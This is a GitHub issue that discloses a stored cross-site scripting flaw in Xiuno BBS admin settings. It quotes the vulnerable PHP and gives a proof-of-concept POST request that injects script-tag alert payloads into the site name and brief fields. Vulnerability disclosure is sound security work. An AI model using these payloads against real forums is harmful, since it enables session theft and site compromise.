

New issue

[Jump to bottom](#)

# Storage Cross-Site Scripting Attack (XSS) Vulnerability #5

Closed

shun-gg opened this issue on Dec 6, 2019 · 2 comments

Labels

upstream

shun-gg commented on Dec 6, 2019

/admin/?setting-base.htm

sitename  
sitebrief

lang\zh-cn\bbs\_admin.php line 73-74;

```
'sitename'=>'站点名称',  
'sitebrief'=>'站点介绍',
```

admin\route\index.php line 96-108;

```
function get_last_version($stat) {  
    global $conf, $time;  
    $last_version = kv_get('last_version');  
    if($time - $last_version > 86400) {  
        kv_set('last_version', $time);  
        $sitename = urlencode($conf['sitename']);  
        $sitedomain = urlencode(http_url_path());  
        $version = urlencode($conf['version']);  
        return '<script src=http://custom.xiuno.com/version.htm?  
sitename='.$sitename.'&sitedomain='.$sitedomain.'&users='.$stat['users'].'&threads='.$stat['threads'].'&posts='.$stat['posts'].'&version='.$version.'"></script>';  
    } else {  
        return '';  
    }  
}
```

route\thread.php line 129;

```
$header['title'] = $thread['subject'].'-'. $forum['name'].'-'. $conf['sitename'];
```

admin\route\setting.php line 37-57;

```
$sitebrief = param('sitebrief', '', FALSE);  
$sitename = param('sitename', '', FALSE);  
$runlevel = param('runlevel', 0);  
$user_create_on = param('user_create_on', 0);  
$user_create_email_on = param('user_create_email_on', 0);  
$user_resetpw_on = param('user_resetpw_on', 0);  
  
$_lang = param('lang');  
  
// hook admin_setting_base_post_start.php  
  
$replace = array();  
$replace['sitename'] = $sitename;  
$replace['sitebrief'] = $sitebrief;  
$replace['runlevel'] = $runlevel;  
$replace['user_create_on'] = $user_create_on;  
$replace['user_create_email_on'] = $user_create_email_on;  
$replace['user_resetpw_on'] = $user_resetpw_on;  
$replace['lang'] = $_lang;  
  
file_replace_var(APP_PATH.'conf/conf.php', $replace);
```

conf\conf.default.php line 78-79;

```
'sitename' => 'Xiuno BBS',  
'sitebrief' => 'Site Brief',
```

index.inc.php line 31-38;

```
$header = array(  
    'title'=>$conf['sitename'],  
    'mobile_title'=>'',  
    'mobile_link'=>'./',  
    'keywords'=>'', // 搜索引擎自行分析 keywords, 自己指定没用 / Search engine automatic analysis of key words, so keep it empty.  
    'description'=>strip_tags($conf['sitebrief']),  
    'navs'=>array(),  
);
```

poc:

```
POST /xiunobbs/admin/?setting-base.htm HTTP/1.1  
Host: 192.168.1.5  
Content-Length: 189  
Accept: text/plain, */*; q=0.01  
Origin: http://192.168.1.5  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Referer: http://192.168.1.5/xiunobbs/admin/?setting-base.htm  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: bbs_admin_token=ZzVAtms8nWG2nHqCwriSe21p7pbGQ1rNFuvZyA_3D_3D; bbs_sid=k5j5907651fe9s2nsgbspaof2k;  
bbs_token=E9L_28PUBwyRHmIH8_2B0TH0t85UrhKtLAJsTwsbgEpiw_2BLL1N57Bme31X41pY6_2BeRMMVA7CgGosWTIEV0BHcbn0A_3D_3D  
Connection: close  
  
sitename=%3Cscript%3Ealert('sitename')%3C%2Fscript%3E&sitebrief=%3Cscript%3Ealert('sitebrief')%3C%2Fscript%3E&runlevel=5&user_create_on=1&user_create_email_on=0&user_resetpw_on=0&lang  
cn
```

站点名称:

<script>alert('sitename')</script>

站点介绍:

<script>alert('sitebrief')</script>


<script>alert('sitename')</script>

192.168.1.5 显示  
sitename

确定

192.168.1.5 显示  
sitebrief

确定

 rayfalling added the upstream label on Jan 1, 2020

DuckSoft commented on Jan 1, 2020


Contributor

Upstream issue. Tracking.

rayfalling commented on Jan 1, 2020

Owner

问题将提交上游处理

 rayfalling closed this as completed on Jan 1, 2020

Assignees

No one assigned

Labels

upstream

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

